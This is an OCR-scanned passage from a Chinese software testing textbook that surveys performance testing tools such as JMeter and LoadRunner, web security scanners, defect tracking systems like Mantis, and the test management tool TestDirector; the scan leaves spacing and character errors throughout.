会 导致 服务 器 崩溃 ? 如 果 数 据 库 中 有 100 万 条 记录 ,这 时 用 户 的 操作 是 不 是 像 蜗 牛 疏 行 那 
样 慢 ? 要 回答 这 些 疑 问 , 就 要 借助 于 性 能 测试 获得 相关 数据 ,而 性 能 测试 通过 手工 模拟 是 难 
以 完成 的 ,而 是 要 通过 负载 测试 工具 来 完成 。 

性 能 测试 工具 执行 测试 的 过 程 一 般 是 通过 虚拟 用 户 生 成 器 录制 关键 业务 操作 ,自动 生 
成 原始 的 测试 脚本 。 然 后 ,在 控制 器 编辑 .组 织 测试 脚本 ,分 发 给 每 个 负载 生成 器 (也 称 代 
HL, Agent) ,Agent 向 服务 器 发 送行 请 求 模拟 客户 端 ,执行 脚本 的 同时 将 测试 的 结果 返回 给 
控制 器 。 最 终 由 控制 器 统计 测试 结果 ,并 完成 测试 报告 。 实 际 上 ,在 第 9 章 , 已 经 就 Apache 
服务 器 的 性 能 测试 ,进行 了 较 多 的 介绍 ,包括 测试 工具 ab 和 Flood. 


11.5.1 JMeter 及 其 应 用 


JMeter 是 开源 的 性 能 测试 工具 的 代表 ,最 早 是 为 了 完成 Tomcat 的 前 身 Jserv 的 性 能 
测试 而 诞生 的 。 随 着 J2EE 应 用 的 不 断 发 展 ,其 功能 不 再 局 限于 Web 服务 器 的 性 能 测试 ， 


还 涵盖 了 数据 库 .FTP、LDAP 服务 器 等 各 种 性 能 测试 ,以 及 可 以 和 JUnit Ant 等 工具 的 集 
成 应 用 。 它 可 以 针对 服务 器 、 网 络 或 其 他 被 测试 对 象 等 模拟 大 量 并 发 负载 来 进行 强度 测试 ， 
并 分 析 不 同 压 力 负载 下 的 系统 整体 性 能 ,包括 性 能 的 图 形 分 析 、 产 生 相应 的 统计 报表 ,包括 
各 个 URL 请 求 的 数量 ,平均 响应 时 间 、 最 小 /大 响应 时 间 、 错 误 率 等 。 

JMeter 内 部 实现 了 线程 机 制 ( 线 程 组 ) ,如 图 11-15 所 示 , 用 户 不 用 为 并 发 负载 的 过 程 
编写 代码 ,只 需 做 简单 配置 即 可 。 同 时 ,JMeter 也 提供 了 丰富 的 逻辑 控制 器 ,控制 线程 的 


运行 。 
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图 11-15 JMeter 线程 组 及 其 设置 界面 


1. JMeter 主要 构成 组 件 
© 测试 计划 (Test Plan) 作 为 JMeter 测试 元 件 的 容器 ,是 使 用 JMeter 进行 测试 的 


。 线程 组 (Thread Group) 代 表 一 定数 量 的 并 发 用 户 ,用 来 模拟 并 发 用 户 发 送 请 求 。 实 
际 的 请 求 内 容 是 在 采样 器 (Sampler) 中 定义 的 。 

。 逻辑 控制 器 (Logic Controller) 可 以 自 定义 JMeter 发 送 请 求 的 行为 逻辑 , 它 与 
Sampler 结合 使 用 可 以 模拟 复杂 的 请 求 序列 。 

。 采样 器 (Sampler) 定 义 包括 FTP.HTTP、SOAP、LDAP、TCP、JUnit、Java 等 各 类 请 
求 。 如 HTTP 请 求 默 认 值 负责 记录 请 求 的 服务 器 .协议 .端口 等 参数 值 。 

。 配置 单元 (Config Element) 维 护 采样 器 需要 的 配置 信息 ,并 根据 实际 的 需要 来 修改 
请 求 的 内 容 。 配 置 单元 包括 登录 配置 单元 、 简 单 配置 单元 .FTP/HTTP 配置 单 


元 等 。 


。 定时 器 (Timer) 负 责 定义 请 求 之 间 的 延迟 间隔 。 
。 断言 (Assertions) 可 以 用 来 判断 请 求 响应 的 结果 是 否 如 用 户 所 期 望 的 。 它 可 以 用 来 


隔离 问题 域 , 即 在 确保 功能 正确 的 前 提 下 执行 压力 测试 。 这 个 限制 对 于 有 效 的 测试 
是 非常 有 用 的 。 

。 监听 器 (Listener) 负 责 收 集 测试 结果 ,并 可 以 设置 所 需 的 、 特 定 的 结果 显示 方式 。 

。 前 置 处 理 器 (Pre Processors) 和 后 置 处 理 器 (Post Processors) 负 责 在 生成 请 求 之 前 
和 之 后 完成 工作 。 前 置 处 理 器 常常 用 来 修改 请 求 的 设置 ,后 置 处 理 器 则 常常 用 来 处 
理 响 应 的 数据 。 

2. 如 何 使 用 JMeter 进行 性 能 测试 

使 用 JMeter 进行 性 能 测试 ,其 操作 相对 简单 。 如 以 Web 服务 器 的 性 能 测试 为 例 , 按 下 
列 5 个 步骤 进行 操作 就 基本 能 完成 测试 任务 。 

(1) 在 JMeter 里 增加 一 个 线程 组 、 一 个 简单 控制 器 、 一 个 Cookie 管理 器 ,一 个 综合 图 
形 器 (Aggregate Graph) 和 若干 个 HTTP 请 求 。 

(2) 在 线程 组 中 定义 线程 数 .产生 线程 发 生 的 时 间 和 测试 循环 次 数 。 

G) 在 HTTP 请 求 中 定义 服务 器 .端口 .协议 和 方法 .请 求 路 径 等 。 

(4) 配置 用 户 登 录 信 息 , 进行 安 全 设置 ,如 完成 “Http URL 重 写 修 饰 符 ” 或 “Http 
Cookie 管理 器 ”的 有 关 配 置 。 有 时 ,还 需要 增加 响应 断言 或 HTML 断言 ,确定 系统 是 否 做 
出 正确 的 响应 .用户 登录 是 否 成 功 等 。 

(5) 添加 “图 形 结果 、 表 格 查看 结果 ”等 监听 器 ,负责 收集 和 显示 性 能 测试 结果 。 

对 于 一 些 数据 加 密 传送 的 应 用 ,需要 增加 Access Log Sampler 采样 器 ,在 此 之 前 ,要 获 
得 被 测试 应 用 的 相关 Log 数据 。 如 果 要 监听 被 测试 服务 器 的 系统 资源 (内 存 `.CPU 等 ), 需 
要 增加 一 个 “监视 器 结果 ”监听 器 。 要 获得 被 测试 服务 器 的 系统 资源 数据 ,一 般 需 要 登录 服 
务 器 ,所 以 这 时 需要 在 配置 元 件 中 增加 一 个 “HTTP 授权 管理 器 授权 ”, 添 加 相应 的 配置 记 
录 , 使 JMeter 可 以 访问 被 测试 服务 器 。 


11.5.2 性 能 测试 工具 的 主要 特性 


作为 性 能 测试 工具 ,首先 能 模拟 实际 用 户 的 操作 行为 ,记录 和 回放 多 用 户 测试 中 的 事务 
处 理 过 程 ,自动 生成 相应 的 测试 脚本 。 其 次 ,能 针对 脚本 进行 修改 ,增加 逻辑 控制 ,完成 参数 
化 和 数据 关联 。 假 设 要 使 用 一 系列 不 同 的 输入 值 来 执行 相同 脚本 的 操作 时 ,来 匹配 多 个 实 
际 用 户 的 操作 行为 ,从 而 反映 出 系统 真正 的 负载 能 力 , 这 就 需要 用 参数 来 替换 已 录制 的 值 ， 
即 脚本 参数 化 。 脚 本 的 参数 化 可 以 简化 脚本 ,并 增强 脚本 适用 性 。 数 据 关 联 类 似 于 参数 化 ， 
可 以 简化 脚本 ,适应 企业 应 用 中 需要 动态 数据 的 情况 。 数 据 关 联 包 含 三 个 步骤 一 一 定义 哪 
个 录制 的 值 需要 被 关联 、 定 义 数据 源 和 它们 之 间 的 关联 关系 。 

再 者 ,可 以 设置 不 同 的 应 用 环境 和 场景 ,通过 虚拟 用 户 执 行 相应 的 测试 脚本 。 最 后 ,在 
脚本 执行 过 程 中 ,通过 系统 监控 工具 获得 系统 性 能 的 相关 指标 的 值 ,包括 系统 资源 利用 率 、 
响应 时 间 ,数据 吞吐 量 。 通 过 实时 性 能 监测 来 确认 性 能 指标 或 发 现 性 能 问题 。 例 如 ,流行 的 
负载 测试 工具 HP LoadRunner (简称 LR) 有 4 个 核心 组 件 : 

。 虚拟 用 户 生成 器 (Vuser Generator, VuGen) 用 于 捕获 最 终 用 户 业务 流程 和 创建 测试 
脚本 , 即 通过 录制 应 用 程序 中 典型 最 终 用 户 执行 的 操作 录制 到 自动 虚拟 用 户 
(Vuser) 脚 本 中 ,以便 作 为 负载 测试 的 基础 。 虚 拟 用 户 包 括 C Vuser, VB Vuser, VB 
Script Vuser, JAVA Vuser JavaScript Vuser 等 。 


控制 器 (Controller) 用 于 组 织 、 驱 动 , 管 理 和 监控 负载 测试 的 中 央 控 制 。 使 用 Controller 
可 以 运行 用 来 模拟 真实 用 户 执 行 的 操作 的 脚本 ,并 可 以 通过 让 多 个 Vuser (虚拟 用 
户 ) 同 时 执行 这 些 操作 来 在 系统 中 创建 负载 。 

负载 生成 器 (Load Generator) 运 行 虚拟 用 户 , 以 产生 有 效 的 、 可 控制 的 负载 。 

分 析 器 (Analysis) 帮助 查看 ,分 析 和 比较 性 能 结果 ,使 用 这 些 图 和 报告 ,可 以 标识 和 
确定 应 用 程序 中 的 瓶颈 ,并 确定 需要 对 系统 进行 哪些 更 改 来 提高 系统 性 能 。 


另外 ,作为 性 能 测试 工具 ,一 般 还 会 提供 下 列 功能 : 


11.5. 


能 够 支持 广泛 的 通信 协议 和 技术 ,例如 , HP LoadRunner 支持 Windows Socket, 
HTTP, FTP, LDAP, Internet Messaging (IMAP), MS Exchange(MAPI)、POP3、 
SMTP, voiceXML, WAP, ODBC 以 及 各 种 数据 库 、 中 间 件 等 的 连接 。LoadRunner 
9.5 还 提供 Protocol Advisor 可 以 扫描 应 用 程序 以 诊断 被 测试 系统 所 采用 的 协议 ， 
并 将 它们 显示 在 列表 中 。 

提供 一 个 互动 的 环境 ,能 建立 持续 且 循 环 的 负载 ,限定 负载 ,又 能 管理 和 驱动 负载 测 
试 方案 。 可 以 事先 设 定 测试 目标 ,优化 测试 流程 ,并 利用 “日 程 计划 服务 ”来 定义 用 
户 在 什么 时 候 访 问 系 统 以 产生 负载 ,这 样 使 测试 过 程 高 度 自动 化 。 

通过 广域网 模拟 ,可 以 比较 精确 地 测试 部 署 到 广域网 上 的 产品 的 点 到 点 性 能 ,包括 
延 时 、 丢 包 、 链 接 错 误 等 ,可 以 拥有 一 个 更 贴近 真实 部 署 环境 的 性 能 测试 环境 。 
安全 机 制 ,例如 LoadRunner 引入 了 Secure Channels 机 制 ,在 控制 器 和 负载 产生 器 
之 间 创 建安 全 的 通信 通道 ,防止 黑客 的 网 络 攻击 。 

网 络 组 合 的 配置 。 对 于 同一 个 Web 应 用 程序 ,用 户 可 能 通过 不 同 的 网 络 类 型 来 访 
问 。 负 载 测 试 如 果 想 真实 地 模拟 这 种 情况 , 则 需要 进行 网 络 组 合 的 配置 。 

自 定义 测试 结果 的 分 析 。 例 如 ,LoadRunner 提供 Analysis API, 用 户 可 以 根据 自己 
特定 的 需要 编写 程序 ,从 测试 结果 中 创建 所 需 的 分 析 会 话 (analysis session) 并 对 其 
原始 数据 进行 分 析 ,提取 关键 的 度量 数据 。 也 可 以 自己 编写 程序 执行 Analysis 的 某 
些 功能 ,提取 数据 给 外 部 的 其 他 程序 或 软件 使 用 。 


3 常见 的 性 能 测试 工具 


在 开源 的 性 能 测试 工具 中 ,除了 JMeter, 常 用 的 工具 为 数 不 多 ,相对 来 说 ,商业 工具 还 
是 更 强 些 ,不 乏 优 秀 的 产品 ,包括 上 面 提 到 的 HP LoadRunner。 


1. 


其 他 开源 的 性 能 测试 工具 

Siege(http: //www. joedog. org/JoeDog/Siege) 是 一 个 开源 的 Web 压力 测试 和 评测 
工具 。 

OpenSTA ,可 以 模拟 大 量 的 虚拟 用 户 来 完成 性 能 测试 ,并 通过 script 来 完成 丰富 的 
自 定 义 设 置 。 详 见 http://portal. opensta. org/index. php. 

DBMonster 是 一 个 生成 随机 数据 .用 来 测试 SQL 数据 库 的 压力 测试 工具 , 详 见 
http://dbmonster. kernelpanic. pl/ 。 

LoadSim 是 网 络 应 用 程序 的 负载 模拟 器 。 

更 多 的 性 能 测试 工具 ,可 访问 http://www. opensourcetesting. org/ performance. php. 


2. 其 他 商业 的 性 能 测试 工具 

(1) IBM Rational Performance Tester 是 适用 于 Web 应 用 程序 的 性 能 测试 工具 ,基于 
Windows 和 Linux 的 用 户 界面 ,使 用 基于 树 型 结构 的 测试 编辑 器 提供 高 级 且 详 细 的 测试 视 
图 ,支持 使 用 自 定义 Java 代码 的 灵活 测试 定制 ,将 易 用 性 与 深入 分 析 功能 相 结合 ,从 而 简化 
了 测试 创建 的 过 程 , 并 满足 各 种 性 能 测试 需求 。 提 供 不 同 用 户 数 的 灵活 的 模拟 ,支持 将 
Windows 和 Linux 用 作 分布 式 负载 生成 器 ,使 用 最 小 化 的 硬件 资源 实现 大 型 .多 用 户 的 测 
试 , 以 帮助 确保 应 用 程序 具有 支持 数 以 千 计 并 发 用 户 稳定 运行 的 性 能 。 

(2) Radview WebLoad 也 是 知名 的 负载 测试 工具 ,用 于 性 能 、 伸 缩 性 等 测试 ,脚本 语言 
是 JavaScript, 支 持 多 种 协议 (包括 SOAP/XML,FTP,SMTP, AJAX 在 内 的 REST/HTTP 
等 ) ,因而 可 从 所 有 层面 对 应 用 程序 进行 测试 。 在 2008 年 4 月 ,Radview 则 以 GPL 协议 发 
布 了 WebLOAD 的 开源 社区 版 本 ,该 版 本 可 从 webload. org 下 载 ,但 还 保留 商业 的 专业 版 。 

(3) Compuware QA Load 是 适合 Web 应 用 系统 .数据库 服务 器 的 性 能 测试 工具 ,针对 
分 布 式 的 应 用 系统 ,创建 和 执行 有 效 的 、 仿 真 的 负载 测试 。 通 过 模拟 成 百 或 上 千 的 用 户 执行 
关键 业务 ,从 控制 中 心 管 理 全 局 负载 测试 ,规划 系统 性 能 ,通过 重复 测试 寻找 瓶颈 问题 .优化 
系统 性 能 或 验证 应 用 的 扩展 性 。 

(4) Quest Benchmark Factory 是 一 种 高 扩展 性 的 压力 测试 .容量 规划 和 性 能 优化 工 
具 , 能 应 用 于 分 布 式 计 算 环 境 , 可 以 模拟 数 千 个 用 户 访问 应 用 系统 中 的 数据 库 、 文 件 .Web 
和 消息 服务 器 ,从 而 确定 系统 容量 、 找 出 系统 瓶颈 。 

(5) 微软 WASCWeb Access Stress test) 人 允许 以 不 同 的 方式 创建 测试 脚本 (录制 .装载 、 
导入 和 直接 手工 编辑 等 ) ,可 以 通过 一 台 或 者 多 台 客 户 机 模拟 大 量 用 户 的 活动 ,由 中 央 主 客 
户 端 来 控制 。WAS 支持 身份 验证 ,加 密 (SSL 协议 ) 和 Cookies ,支持 随 机 的 或 顺序 的 数据 
集 .带宽 调节 和 随机 延迟 ,允许 URL 分 组 和 对 每 组 的 点 击 率 的 说 明 ,以 更 真实 地 模拟 实际 
情景 。 提 供 一 个 对 象 模型 ,可 以 通过 VBScript 处 理 或 者 通过 定制 编程 来 达到 开启 ,结束 和 
配置 测试 脚本 的 效果 。 

(6) Paessler Webserver Stress Tool: 只 要 输入 网 站 的 URL 网 址 以 及 模拟 的 上 站 人 
数 , 此 工具 就 可 以 模拟 在 同一 时 间 内 进 站 或 是 循序 进 站 时 对 服务 器 的 存 取 负载 ,并 获得 服务 
器 的 相关 性 能 数据 ,如 反应 时 间 、 传 递 速率 等 。 它 还 支持 CGI 或 ASP 等 语言 撰写 的 程序 ， 
支持 Proxy 设 定 ,密码 输入 、Cookies 与 ASP 的 Session-IDs 等 功能 。 

(7) MINQ PureLoad 是 基于 Java 的 测试 工具 ,支持 J2EE、. NET、PHP、AJAX、SOAP 
和 ASP 等 各 种 应 用 ,脚本 语言 采用 XML ,简单 . 易 用 。 因 为 是 基于 Java 的 软件 工具 ,因此 
可 以 通过 Java Beans API 来 增强 软件 功能 。 


11.6 安全 性 测试 工具 


安全 测试 一 直 充 满 着 挑战 ,安全 和 非法 入 侵 / 攻 击 始终 是 予 和 盾 的 关系 ,所 以 安全 测试 
工具 一 直 没 有 绝对 的 标准 。 虽 然 , 有 时 会 让 专业 的 安全 厂商 来 远程 扫描 企业 的 Web 应 用 程 
序 , 验 证 所 发 现 的 问题 并 生成 一 份 安全 聚焦 报告 。 但 由 于 控制 .管理 和 商业 秘密 的 原因 , 许 
多 公司 喜欢 自己 实施 渗透 测试 和 扫描 ,这 时 用 户 就 需要 购买 相关 的 安全 性 测试 工具 ,并 建立 
一 个 安全 可 靠 的 测试 机 制 。 


在 选择 安全 性 测试 工具 时 ,需要 建立 一 套 评估 标准 。 根 据 这 个 标准 ,测试 人 员 能 够 得 到 
合适 的 且 安 全 的 工具 ,不 会 对 软件 开发 和 维护 产生 不 利 的 影响 。 安 全 性 测试 工具 的 评估 标 
准 ,主要 包括 下 列 内 容 : 

。 支 持 常见 的 Web 服务 器 平台 ,如 IIS 和 Apache, 支 持 HTTP.SOAP、SIMP 等 通信 

协议 以 及 ASP、JSP、ASP. net 等 网 络 技术 。 

。 能 同时 提供 对 源 代码 和 二 进 制 文件 进行 扫描 的 功能 ,包括 一 致 性 分 析 、 各 种 类 型 的 
安全 性 弱点 等 ,找到 可 能 触发 或 隐 含 恶意 代码 的 地 方 。 
漏洞 检测 和 纠正 分 析 。 这 种 扫描 器 应 当 能 够 确认 被 检测 到 漏洞 的 网 页 ,以 理解 的 语 
言 和 方式 来 提供 改正 建议 。 

。 检测 实时 系统 的 问题 , 像 死 锁 检 测 .异步 行为 的 问题 等 。 

。 持续 有 效 地 更 新 其 漏洞 数据 库 。 

。 不 改变 被 测试 的 软件 ,不 影响 代码 。 

。 良好 的 报告 ,如 对 检测 到 的 漏洞 进行 分 类 ,并 根据 其 严重 程度 对 其 进行 等 级 评定 。 

。 非 安全 专业 人 士 也 易于 上 手 。 

。 可 管理 部 署 的 多 种 扫描 器 、 尽 可 能 小 的 错误 误差 等 。 

下 面 是 一 些 常 见 的 安全 性 测试 工具 : 

(1) Acunetix Web Vulnerability Scanner 是 一 款 商 业 级 的 Web 漏洞 扫描 程序 ,可 以 检 
查 Web 应 用 程序 中 的 漏洞 ,如 SQL 注入 、 跨 站 脚本 攻击 、 身 份 验证 页 上 的 弱 口 令 长 度 等 。 
它 拥 有 一 个 操作 方便 的 图 形 用 户 界面 ,并 且 能 够 创建 专业 级 的 Web 站 点 安全 审核 报告 。 

(2) Burp suite 是 一 个 可 以 用 于 攻击 Web 应 用 程序 的 集成 平台 ,如 允许 一 个 攻击 者 将 
人 工 的 和 自动 的 技术 结合 起 来 ,以 列举 分析、 攻击 Web 应 用 程序 ,或 利用 这 些 程序 的 漏洞 。 
其 套件 中 各 项 工具 协同 工作 、 共 享 信息 ,并 允许 将 一 种 工具 发 现 的 漏洞 形成 男 一 种 工具 工作 
的 基础 。 

(3) Nikto 是 开源 的 Web 服务 器 扫描 程序 ,可 以 对 Web 服务 器 的 多 种 项 目 ( 包 括 3500 
个 潜在 的 危险 文件 /CGI, 以 及 超过 900 个 服务 器 版 本 ,还 有 250 多 个 服务 器 上 的 版 本 特定 
问题 ) 进 行 全 面 的 测试 。 可 以 自动 更 新 扫描 项 目 和 插件 ,支持 LibWhisker 的 反 IDS 
(Intrusion Detection Systems, 人 侵 检测 系统 ) 方 法 。 

(4) N-Stealth 是 一 款 商 业 级 的 Web 服务 器 (主要 为 Windows 平台 ) 安 全 扫描 程序 , 升 
级 频率 更 高 ,覆盖 面 广 ,类 似 的 工具 有 Nessus, ISS Internet Scanner, Retina, SAINT 和 
Sara 等 。 

(5) Paros proxy 是 基于 Java 的 Web 代理 程序 ,可 以 评估 Web 应 用 程序 的 漏洞 。 它 支 
持 动态 地 编辑 .查看 HTTP/VHTTPS, 从 而 改变 Cookies 和 表单 字段 等 项 目 。 它 包括 一 个 
Web 通信 记录 程序 、Web 圈套 程序 (spider) 、 散 列 (hash) 计 算 器 ,还 有 一 个 可 以 测试 常见 的 
Web 应 用 程序 攻击 (如 SQL 注入 式 攻 击 和 跨 站 脚本 攻击 ) 的 扫描 器 。 

(6) SPI Dynamics WebInspect 是 功能 强大 的 Web 应 用 程序 扫描 程序 ,有 助 于 确认 
Web 应 用 中 各 种 安全 漏洞 。 它 还 可 以 检查 一 个 Web 服务 器 是 否 正确 配置 ,并 会 尝试 一 些 
常见 的 Web 攻击 ,如 参数 注入 、 跨 站 脚本 、 目 录 遍 历 攻击 (directory traversal) 等 。 

(7) TamperIE 是 一 个 小 巧 的 KSS 漏洞 检测 辅助 工具 。 安 装 后 以 插件 的 方式 加 载 到 TE 
浏览 器 中 ,监视 IE 浏览 器 与 服务 器 之 间 的 HTTP 通信 ,截获 提交 到 服务 器 的 HTTP 语句 ， 


修改 其 中 的 数据 ,然后 再 发 送 修改 后 的 数据 到 服务 器 。 

(8) Tripwire 是 一 款 最 为 常用 的 开放 源码 的 完整 性 检查 工具 , 它 生 成 目标 文件 的 校 验 
和 并 周期 性 地 检查 文件 是 否 被 更 改 。 

(9) Wapiti 是 由 Python 语言 编写 的 、 开 源 的 安全 测试 工具 ,直接 对 网 页 进行 扫描 ,可 用 
于 Web 应 用 程序 漏洞 扫描 和 安全 检测 。 

(10) Watchfire AppScan 是 一 款 商业 的 Web 漏洞 扫描 程序 ,可 以 扫描 许多 常见 的 漏 
洞 , 如 路 站 脚本 攻击 HTTP 响应 拆 分 漏洞 .参数 自 改 、 隐 式 字段 处 理 、 后 门 /调试 选项 缓冲 
区 溢出 等 。 在 整个 软件 开发 周期 都 提供 安全 测试 ,从 而 简化 了 组 件 测试 和 开发 早期 的 安全 

(11) WebScarab 可 以 分 析 使 用 HTTP 和 HTTPS 协议 进行 通信 的 应 用 程序 ， 
WebScarab 可 以 用 最 简单 的 形式 记录 它 观察 的 会 话 , 并 允许 操作 人 员 以 各 种 方式 观察 会 话 。 

(12) Whisker 是 使 用 LibWhisker 的 扫描 程序 ,适合 于 HTTP 测试 ,可 以 针对 许多 已 知 
的 安全 漏洞 ,测试 HTTP 服务 器 ,特别 是 检测 危险 CGI 的 存在 。 

(13) Wikto 是 一 个 Web 服务 器 评估 工具 ,可 以 检查 Web 服务 器 中 的 漏洞 ,和 Nikto 比 
较 接 近 。 

(14) 常用 的 网 络 监控 工具 主要 有 Nessus, Ethereal/Wireshark、Snort、Switzerland 和 
Netcat 。 


11.7 缺陷 跟踪 系统 


一 般 来 说 ,缺陷 报告 .跟踪 和 处 理 都 会 通过 一 个 基于 Web 和 数据 库 的 缺陷 管理 系统 来 
支持 ,而 不 能 简单 地 通过 字 处 理 软 件 和 表格 处 理 软 件 ( 如 微软 公司 Word, Excel 文档 ) 来 处 
理 。 如 果 没 有 一 套 特 定 的 系统 来 帮助 测试 人 员 管 理 缺 陷 ,那么 缺陷 处 理 效 率 会 很 低 ,例如 不 
能 自动 发 邮件 通知 相关 人 员 ,将 来 也 无 法 进行 有 效 的 查询 ,数据 统计 分 析 等 工作 。 如 果 采 用 
特定 的 系统 来 管理 缺陷 ,那么 就 会 带 来 不 少 益处 。 例 如 : 

(1) 基于 缺陷 数据 库 , 不 仅 可 以 统一 数据 格式 、 完 成 数据 校 验 , 缺 陷 数量 可 以 很 大 ,而 且 
确保 每 一 个 缺陷 不 会 被 忽视 ,使 开发 人 员 的 注意 力 保持 在 那些 必须 尽快 修复 的 高 优先 级 的 
缺陷 上 。 

(2) 基于 数据 库 系统 ,可 以 随时 建立 符合 各 种 需求 的 查询 条 件 ,而 且 有 利于 建立 各 种 动 
态 的 数据 报表 ,用 于 项 目 状态 报告 和 缺陷 数据 统计 分 析 。 

(3) 基于 系统 可 以 随时 得 到 最 新 的 缺陷 状态 ,项 目 相 关 部 门 和 人 员 获 得 一 致 又 准确 的 
信息 ,掌握 相同 的 实际 情况 ,消除 沟通 上 的 障碍 。 

(4) 基于 系统 可 以 将 缺陷 和 测试 用 例 、 需 求 等 关联 起 来 ,可 以 完成 更 深度 的 分 析 , 有 利 
于 产品 的 质量 改进 等 。 

简单 的 缺陷 跟踪 系统 比较 容易 实现 ,可 以 自己 开发 ,也 就 是 用 数据 库 来 记录 各 项 缺陷 信 
息 , 并 提供 一 些 基本 的 查询 条 件 。 但 是 ,已 经 有 不 少 现存 的 缺陷 跟踪 系统 供 我 们 选用 ,可 以 
选用 开源 软件 系统 ,也 可 以 选用 商业 化 软件 产品 ,无 须 自 己 开发 。 

1. 以 Mantis 为 例 介绍 缺陷 管理 工具 特点 


Mantis(http://mantisbt. sourceforge. net/) 是 一 款 基 于 Web 的 软件 缺陷 管理 工具 , 配 


置 和 使 用 都 很 简单 ,其 主要 功能 如 图 11-16 所 示 ,其 功能 特点 有 : 


支持 多 项 目 、 多 语言 ; 

权限 设置 灵活 ,不 同 角色 有 不 同 权限 ,还 支持 自 定义 角色 ; 

可 以 建立 缺陷 之 间 的 关联 或 依赖 关系 ,从 而 更 有 效 地 管理 项 目 ; 

缺陷 统计 分 析 功 能 比较 强 , 有 多 种 直方 图 和 圆 饼 图 ,并 能 导出 csv 文件 供 Excel 作 进 
一 步 分 析 ; 

有 自 定义 字段 功能 ,可 以 满足 企业 的 一 些 特殊 要 求 ; 

缺陷 可 以 在 不 同 项 目 间 移动 ; 

主页 可 发 布 公告 .项目 相 关 新 闻 , 方 便 信息 传播 ; 

有 个 人 可 定制 的 E-mail 通知 功能 ,每 个 用 户 可 根据 自身 的 工作 特点 订阅 相关 的 缺 


陷 状态 邮件 ; 
可 以 定制 软件 公司 特定 的 缺陷 处 理 流程 。 
[一 用 户 管理 配置 报告 
A ”管理 H 项目 管 理 权限 报表 
[一 自 定义 字段 管理 工作 流 初 始 化 
一 管理 平台 配置 工作 流 
管理 配置 邮件 提醒 
报告 问题 搜索 过 滤 
MantisBT HH 缺陷 报告 上 十 一 查看 问题 一 二 一 打印 问题 
我 的 视图 图 形 报表 
打印 报告 — CSV 导出 一 综合 报表 
L 统 计 分 析 统计 报表 | 一 按 状 态 统计 
Fine 图 形 报表 [一 按 优先 级 别 统计 
[一 公告 [一 按 严 重 性 统计 
本 “其 他 “上 十 一 个 人 账号 | 一 按 分 类 统计 
一 使 用 说 明 -一 按 解决 状况 统计 


图 11-16 MantisBT 的 功能 结构 图 


.开源 缺陷 跟踪 系统 


Bugzilla: 比较 流行 的 缺陷 管理 工具 。http://www. mozilla. org/ projects/ bugzilla/ ; 
Bugzero: http://bugzero. findmysoft. com/; 

Scarab; http://scarab. tigris. org/; 

TrackIT: http://trackit. sourceforge. net/; 


Itracker: http://www. itracker. org/。 


。 商业 化 缺陷 跟踪 系统 


JIRA: http://www. atlassian. com (澳大利亚 Atlassian 公司 ); 

IBM ClearQuest: http://www-01. ibm. com/software/awdtools/clearquest/; 
Compuware TrackRecord: http://www. compuware. com/trackrecord. html; 
HP TestDirector: http://www. hp. com/; 


TestTrack Pro; http://www. seapine. com/ttpro. html; 


。 DevTrack: www. techexcel. com/products/devsuite/devtrack. html; 

。 Borland Segue SilkCentral™ Issue Manager 等 。 

所 有 缺陷 的 数据 不 仅 要 存储 在 共享 数据 库 中 ,还 要 有 相关 的 数据 连接 ,如 产品 特性 数据 
库 、 产 品 配置 数据 库 、 测 试用 例 数据 库 等 的 集成 。 因 为 某 个 缺陷 是 和 某 个 特定 的 产品 特性 、 
软件 版 本 ,测试 用 例 等 相关 联 的 ,有 必要 建立 起 这 些 关 联 。 同 时 为 了 提高 缺陷 处 理 的 效率 ， 
与 邮件 服务 器 集成 。 通 过 邮件 传递 ,测试 和 开发 人 员 随 时 可 以 获得 由 系统 自动 发 出 有 关 缺 
陷 状 态 变化 的 邮件 。 


11.8 管理 工具 


软件 测试 管理 工具 或 管理 系统 比较 成 熟 ,拥有 比较 多 的 产品 ,不 仅 能 满足 测试 管理 的 需 
求 ,而 且 可 以 适应 不 同类 型 .不 同 规模 软件 企业 的 特点 。 常 见 的 测试 管理 工具 主要 有 
。 商业 性 工具 : HP Mercury TestDirector , IBM Rational Test Manager 和 Team Test, 
Compuware QADirector, Borland SilkCentral Test Manager 和 Microsoft Visual 
Studio Team System 等 。 
。 开源 工具 : TestLink, Bugzilla Test Runner、 验 收 测试 管理 工具 FitNesse、 基 于 XML 
文件 测试 用 例 管理 工具 JtestCas, Eclipse 测试 和 性 能 工具 平台 (Test & Performance 
Tools Platform,TPTP)。 除 此 之 外 ,还 有 其 他 一 些 测试 管理 框架 ,如 TestMaker、 
SalomeTMF JJTR (Java Test Runner) .Jetif, Marathon,Grinder, TESTARE 等 。 
下 面 通过 HP TestDirector 作为 示例 ,使 大 家 了 解 测试 管理 工具 的 具体 特性 以 及 所 发 
挥 的 作用 。 
TestDirector 是 一 套 测试 管理 软件 ,以 需求 驱动 整个 测试 过 程 ,规范 测试 管理 的 流程 ， 
包括 测试 需求 管理 ,测试 计划 ,测试 执行 到 缺陷 跟踪 。 
(1) 测试 需求 管理 。 通 过 提供 一 个 比较 直观 的 机 制 将 需求 和 测试 用 例 、 测 试 结 果 和 报 
告 的 错误 联系 起 来 ,从 而 确保 能 达到 最 高 的 测试 覆盖 率 。 即 使 频繁 地 更 新 , 仍 能 简单 地 将 应 
用 需求 与 相关 的 测试 对 应 起 来 。 检 查 应 用 程序 的 文档 ,以 确定 测试 范围 和 测试 目标 、 策 略 。 
构建 “需求 树 ” 目 的 是 为 了 确定 完全 覆盖 测试 需求 ,为 “需求 树 ” 中 的 每 一 个 需求 话题 建立 一 
个 详细 的 目录 ,描述 每 一 个 需求 分 配 优先 级 和 链接 附件 。 产 生 的 报告 和 图 表 以 帮助 分 析 测 
试 需求 。 
(2) 编制 测试 计划 。 指 导 测 试 人 员 如 何 将 应 用 需求 转化 为 具体 的 测试 计划 ,组 织 起 明 
确 的 任务 和 责任 ,并 在 测试 计划 期 间 为 测试 小 组 提供 关键 要 点 和 Web 界面 来 协调 团队 间 的 
沟通 。 提 供 了 多 种 方式 来 建立 完整 的 测试 计划 ,包括 从 草图 上 建立 一 份 计划 ,通过 Test 
Plan Wizard 快捷 地 生成 一 份 测 试 计划 、 将 计划 信息 的 相关 文件 导入 计划 管理 器 中 。 测 试 计 
划 的 主要 步骤 有 定义 测试 策略 .定义 测试 对 象 . 定 义 测试 ,创建 需求 覆盖 (连接 每 一 个 测试 和 
测试 需求 ) ,设计 测试 步骤 、 自 动 化 测试 脚本 的 建立 和 分 析 测 试 计划 。 例 如 为 每 一 个 模块 确 
定 其 测试 类 型 ,在 测试 计划 树 中 为 每 一 个 测试 点 添加 基本 说 明 ; 描述 了 测试 注意 事项 ,检查 
点 ,每 个 测试 的 预期 结果 。 
